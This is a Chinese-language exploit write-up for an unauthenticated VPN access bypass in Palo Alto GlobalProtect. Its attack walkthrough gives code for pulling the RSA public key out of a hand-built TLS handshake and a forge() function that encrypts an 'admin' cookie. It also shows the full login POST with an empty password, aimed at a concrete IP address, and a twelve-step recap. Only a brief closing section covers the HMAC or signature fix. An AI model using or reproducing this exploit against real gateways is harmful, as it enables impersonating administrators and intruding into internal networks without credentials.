此漏洞利用仅通过服务器的公开可用 TLS 证书伪造身份验证 cookie,实现对 Palo Alto GlobalProtect 网关/门户的未经身份验证的 VPN 访问。
GlobalProtect 使用预身份验证 cookie(portal-userauthcookie)允许客户端进行身份验证。以下是致命缺陷:
正常流程:
1. 客户端进行身份验证(用户名 + 密码)
2. 服务器生成 cookie → 使用服务器的 RSA 公钥加密
3. 客户端存储加密后的 cookie
4. 重新连接时,客户端发送 cookie → 服务器使用私钥解密 → 信任它
Bug:
服务器仅检查 cookie 是否能用其私钥成功解密。
它不会验证是谁加密的,也不验证明文内容是否合法。
由于 RSA 公钥嵌入在服务器的 TLS 证书中(任何连接者均可公开获取),任何攻击者都可以:
这是一个教科书式的身份验证缺陷——在需要数字签名或 HMAC 的地方使用了加密。
flowchart TD
A["步骤1:原始 TCP 连接"] --> B["步骤2:发送精心构造的 TLS ClientHello"]
B --> C["步骤3:解析 ServerHello → 提取 DER 证书"]
C --> D["步骤4:遍历 ASN.1 提取 RSA 公钥"]
D --> E["步骤5:伪造 PKCS#1 v1.5 加密 cookie"]
E --> F["步骤6:POST 到 /ssl-vpn/login.esp"]
F --> G{"服务器解密 cookie"}
G -->|"有效明文"| H[" 身份验证绕过 — VPN 访问已授予"]
G -->|"无效"| I[" 拒绝"]为什么要用原始方式? 我们需要服务器的 DER(原始二进制)格式证书。Python 的
ssl模块内部完成完整 TLS 握手,并且不会以同样的方式暴露原始证书字节。通过进行原始 TCP 连接并发送手工构造的 ClientHello,我们可以在字节级别拦截服务器的响应。
TLS 记录如下所示:
┌──────────────────────────────────────────────────┐
│ TLS 记录头部(5 字节) │
│ ┌──────┬──────────┬────────────┐ │
│ │ 类型 │ 版本 │ 长度 │ │
│ │ 0x16 │ 0x03 01 │ 2 字节 │ │
│ │(握手)│(TLS 1.0)│ │ │
│ └──────┴──────────┴────────────┘ │
│ │
│ 握手消息 │
│ ┌──────┬────────────┬─────────────────────────┐ │
│ │ 类型 │ 长度 │ 正文 │ │
│ │ 0x01 │ 3 字节 │ (ClientHello) │ │
│ │(CHlo)│ │ │ │
│ └──────┴────────────┴─────────────────────────┘ │
└──────────────────────────────────────────────────┘
ClientHello 正文包含:
| 字段 | 值 | 用途 |
|---|---|---|
| 版本 | 0x03 0x03 (TLS 1.2) | 告知服务器我们支持 TLS 1.2 |
| 随机数 | 4 字节时间戳 + 28 个随机字节 | 握手的随机数 |
| 会话 ID | 0x00 (空) | 无会话恢复 |
| 密码套件 | 9 个套件,包括 TLS_RSA_WITH_AES_128_CBC_SHA | 关键:我们包含仅 RSA 的密码,以强制服务器使用其 RSA 证书 |
| 压缩 | 0x00 (无) | 必需 |
包含的扩展:
| 扩展 | ID | 用途 |
|---|---|---|
| SNI(服务器名称指示) | 0x0000 | 告知服务器我们连接的主机名 |
| 签名算法 | 0x000D | 广告我们支持的签名算法 |
| 支持的组 | 0x000A | 我们支持的 EC 曲线(P-256, P-384, P-521) |
| EC 点格式 | 0x000B | 未压缩的 EC 点 |
[!NOTE] 密码套件特意包含 RSA 密钥交换密码(
0x002F=TLS_RSA_WITH_AES_128_CBC_SHA)。这会促使服务器使用 RSA 证书而非 ECDSA 证书进行响应——这对漏洞利用至关重要,因为该漏洞仅适用于 RSA。
发送 ClientHello 后,服务器返回多个 TLS 记录:
服务器响应:
┌─────────────────┐
│ ServerHello │ (握手类型 2)
├─────────────────┤
│ Certificate │ (握手类型 11) ← 我们需要这个
├─────────────────┤
│ ServerKeyExchange│ (握手类型 12, 可选)
├─────────────────┤
│ ServerHelloDone │ (握手类型 14) ← 停止信号
└─────────────────┘
阶段 1 — 剥离 TLS 记录头部:
每个 TLS 记录有一个 5 字节头部:[类型(1)] [版本(2)] [长度(2)]。代码扫描所有记录,对于类型为 22(握手)的记录,拼接其有效载荷:
while i + 5 <= len(data):
t = data[i] # 内容类型
rl = (data[i + 3] << 8) | data[i + 4] # 记录长度
if t == 22: # 握手
hs.extend(data[i + 5: i + 5 + rl]) # 抓取有效载荷
i += 5 + rl # 下一记录
阶段 2 — 查找证书消息(类型 11):
在握手流内部,每个消息有一个 4 字节头部:[类型(1)] [长度(3)]。我们扫描类型为 11 的消息:
while j + 4 <= len(hs):
ht = hs[j] # 握手类型
hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3] # 3 字节长度
if ht == 11: # Certificate!
# 解析内部的证书列表
阶段 3 — 提取单个 DER 证书:
证书消息包含一个证书列表,每个证书前面有一个 3 字节的长度:
证书消息正文:
┌───────────────────────────────────┐
│ 证书总长度(3 字节) │
├───────────────────────────────────┤
│ 证书 1 长度(3 字节) │
│ 证书 1 DER 数据(可变长度) │
├───────────────────────────────────┤
│ 证书 2 长度(3 字节) │
│ 证书 2 DER 数据(可变长度) │
├───────────────────────────────────┤
│ ... │
└───────────────────────────────────┘
在我们的测试运行中,我们得到了 3 个证书(叶证书、中间 CA、根 CA)。
此函数扫描 ServerHelloDone(握手类型 14),它告知我们服务器已发送完毕,我们可以停止读取。
X.509 证书采用 DER(Distinguished Encoding Rules,区分编码规则)编码,这是一种基于 ASN.1(Abstract Syntax Notation One,抽象语法符号一)的二进制格式。
DER 中的每个元素是:
┌─────┬────────┬───────────────────┐
│ 标签 │ 长度 │ 值(有效载荷) │
│ 1B │ 1-5B │ 可变 │
└─────┴────────┴───────────────────┘
长度编码:
0x80:长度就是该字节本身(短格式)0x80:低 7 位表示后续编码长度的字节数(长格式)# 示例:长度字节 = 0x82 → 后面还有 2 个字节
# 接下来 2 个字节:0x06 0x4F → 长度 = 0x064F = 1615 字节
def rd_tl(d, p):
tag = d[p]; p += 1
length = d[p]; p += 1
if length & 0x80: # 长格式?
nb = length & 0x7F # 后续字节数
length = 0
for _ in range(nb):
length = (length << 8) | d[p]
p += 1
return {"tag": tag, "len": length, "pos": p} # pos = 值的起始位置
Certificate ::= SEQUENCE { ← 标签 0x30
tbsCertificate SEQUENCE { ← 标签 0x30
version [0] EXPLICIT ← 标签 0xA0 (可选)
serialNumber INTEGER ← 标签 0x02
signature SEQUENCE (AlgorithmID) ← 标签 0x30
issuer SEQUENCE ← 标签 0x30
validity SEQUENCE ← 标签 0x30
subject SEQUENCE ← 标签 0x30
subjectPublicKeyInfo SEQUENCE { ← 标签 0x30 ★ 我们需要这个 ★
algorithm SEQUENCE { ← 标签 0x30
algorithm OID ← 标签 0x06
parameters (可选)
}
subjectPublicKey BIT STRING { ← 标签 0x03
RSAPublicKey SEQUENCE { ← 标签 0x30
modulus INTEGER ← 标签 0x02 ★ n ★
exponent INTEGER ← 标签 0x02 ★ e ★
}
}
}
...
}
...
}
该函数通过读取标签+长度并跳过不需要的字段来遍历 DER 树:
# 进入外部 SEQUENCE (Certificate)
r = rd_tl(der, 0) # → SEQUENCE
# 进入 tbsCertificate SEQUENCE
r = rd_tl(der, p) # → SEQUENCE
# 检查可选的版本标签
r = rd_tl(der, p)
if r["tag"] == 0xA0: # 版本字段存在 → 跳过
p = r["pos"] + r["len"]
r = rd_tl(der, p)
# 跳过:serial → sigAlg → issuer → validity → subject
# (只需读取每个 TLV 并跳过去)
# 现在我们在 subjectPublicKeyInfo
# 读取 AlgorithmIdentifier → 检查 OID 是否为 RSA
oid = der[r["pos"]: r["pos"] + r["len"]]
rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01]
# ↑ 这是 1.2.840.113549.1.1.1 = rsaEncryption
if oid != rsa_oid:
return None # 不是 RSA(可能是 ECDSA)
# 读取 BIT STRING → 跳过 1 字节(未使用位指示符)
# 读取内部 SEQUENCE → 提取 modulus (n) 和 exponent (e)
重要细节——模数中的前导零字节:
if der[ms] == 0 and ml > 1:
ms += 1 # 去掉前导 0x00
ml -= 1
DER 将整数编码为有符号数。如果模数的高位为 1,则会预加一个 0x00 字节以保持正数。我们去掉它,因为我们需要原始无符号值。
对于我们的目标: 模数 = 2048 位(256 字节),指数 = 65537(0x10001)
这是漏洞利用的核心。
明文 cookie 格式为:
admin;;Windows;;1748928001;0.0.0.0
│ │ │ │
│ │ │ └── 客户端 IP
│ │ └── Unix 时间戳
│ └── 操作系统标识符
└── 用户名(我们选择 "admin")
在进行 RSA 加密之前,必须将明文填充到密钥长度(对于 2048 位 RSA 为 256 字节):
┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐
│ 0x00 │ 0x02 │ 随机非零填充 │ 0x00 │ 明文消息 │
│ │ │ (≥ 8 字节) │ │ │
└──────┴──────┴──────────────────────────┴──────┴─────────────────────┘
1B 1B padLen 字节 1B 消息字节
总计 = 256 字节 (= 密钥大小)
def forge(n, e, kl, username):
ts = str(int(time.time()))
pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0")
pad_len = kl - len(pt) - 3 # 3 = 0x00 + 0x02 + 0x00 分隔符
if pad_len < 8: # PKCS#1 要求至少 8 个填充字节
return ""
em = bytearray([0x00, 0x02]) # 类型 2 填充头部
for _ in range(pad_len):
em.append(random.randint(1, 255)) # 非零随机字节!
em.append(0x00) # 分隔符
cat(em, pt) # 追加明文
# RSA 加密:密文 = em^e mod n
return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl))
RSA 数学:
密文 = 明文^e mod n
其中:
明文 = 填充后的消息作为大整数(256 字节 → ~2048 位)
e = 65537(公钥指数)
n = 来自证书的 2048 位模数
[!IMPORTANT] 这是因为 RSA 加密使用公钥 (n, e),任何人都可以从 TLS 证书中获取。服务器将使用其私钥 (n, d) 解密并得到明文 —
admin;;Windows;;时间戳;0.0.0.0。服务器盲目信任此明文 — 它从不验证 cookie 是否由自己合法颁发。
伪造的 cookie 作为标准 HTTPS POST 发送到 GlobalProtect 登录端点:
POST /ssl-vpn/login.esp HTTP/1.1
Host: 1.255.199.2
Content-Type: application/x-www-form-urlencoded
User-Agent: GlobalProtect/6.0.0
Content-Length: ...
Connection: close
prot=https
&server=1.255.199.2
&user=admin
&passwd= ← 为空!不需要密码
&context=gateway ← 或 "portal"
&clientos=Windows
&clientgpversion=6.0.0
&portal-userauthcookie=<BASE64_FORGED_COOKIE>
&portal-prelogonuserauthcookie=
[!NOTE]
passwd字段为空。服务器根本不检查密码 — 它完全依赖portal-userauthcookie进行身份验证。
该漏洞利用测试两个端点:
context=gateway):直接 VPN 隧道访问context=portal):门户配置访问def is_gateway_success(resp, user):
# 检查 HTTP 200
# 检查 XML 主体中的 <status>Success</status>
# 或者包含用户名的 <argument> 标签
sequenceDiagram
participant A as 攻击者
participant GP as GlobalProtect 服务器
A->>GP: TCP 连接(端口 443)
A->>GP: 原始 TLS ClientHello(手工构造)
GP->>A: ServerHello + Certificate(包含 RSA 公钥)
GP->>A: ServerHelloDone
Note over A: 从证书中提取 RSA 公钥 (n, e)
Note over A: 伪造 cookie: RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey)
A->>GP: POST /ssl-vpn/login.esp(通过 TLS)
Note over GP: 接收 portal-userauthcookie
Note over GP: 使用 RSA 私钥解密
Note over GP: 得到 "admin;;Windows;;ts;0.0.0.0"
Note over GP: ⚠️ 盲目信任 — 无签名检查!
GP->>A: HTTP 200 OK + <status>Success</status>
Note over A: 🎉 以 "admin" 身份获得完整 VPN 访问| 方面 | 影响 |
|---|---|
| 无需凭证 | 公钥字面意义上公开 — 任何连接者都能获取 |
| 无需暴力破解 | 每次尝试单一请求,在易受攻击的服务器上总是成功 |
| 预身份验证 | 在任何登录之前即可利用 — 无需现有会话 |
| 用户冒充 | 攻击者可以选择任意用户名(admin, CEO 等) |
| 完整 VPN 访问 | 一旦通过身份验证,攻击者进入内部网络 |
| 无密码失败日志 | 由于身份验证通过 cookie,密码失败告警不会触发 |
根本问题在于使用加密进行身份验证。正确的做法是:
数字签名:服务器应该使用其私钥签署 cookie,而不是解密加密的 cookie。然后在重新身份验证时验证签名。
HMAC:使用服务器端密钥对 cookie 有效载荷进行 HMAC。只有服务器知道密钥,因此 cookie 无法伪造。
令牌绑定:将 cookie 绑定到原始身份验证会话,使其无法在不同上下文中重放。
错误: cookie = RSA_encrypt(用户数据, 公钥) ← 任何人都能做到!
正确: cookie = HMAC(服务器密钥, 用户数据) ← 只有服务器能做到
1. TCP 连接到目标:443
2. 发送手工构造的 ClientHello(通过 TCP 的原始字节,而非 TLS)
3. 接收 ServerHello + Certificate + ServerHelloDone
4. 解析 TLS 记录 → 提取握手消息
5. 查找证书消息(类型 11) → 提取 DER 编码的证书
6. 遍历叶证书的 ASN.1/DER 结构:
SEQUENCE → SEQUENCE → [version] → serial → sigAlg → issuer → validity → subject
→ subjectPublicKeyInfo → algorithmIdentifier(检查 OID = RSA)
→ BIT STRING → SEQUENCE → modulus (n) + exponent (e)
7. 构建明文: "admin;;Windows;;1748928001;0.0.0.0"
8. PKCS#1 v1.5 填充:0x00 0x02 [随机≥8] 0x00 [明文]
9. RSA 加密:密文 = 填充后^e mod n
10. Base64 编码 → URL 编码
11. POST 到 /ssl-vpn/login.esp 并携带伪造的 cookie(通过正确的 TLS)
12. 服务器解密 → 盲目信任 → 授予 VPN 访问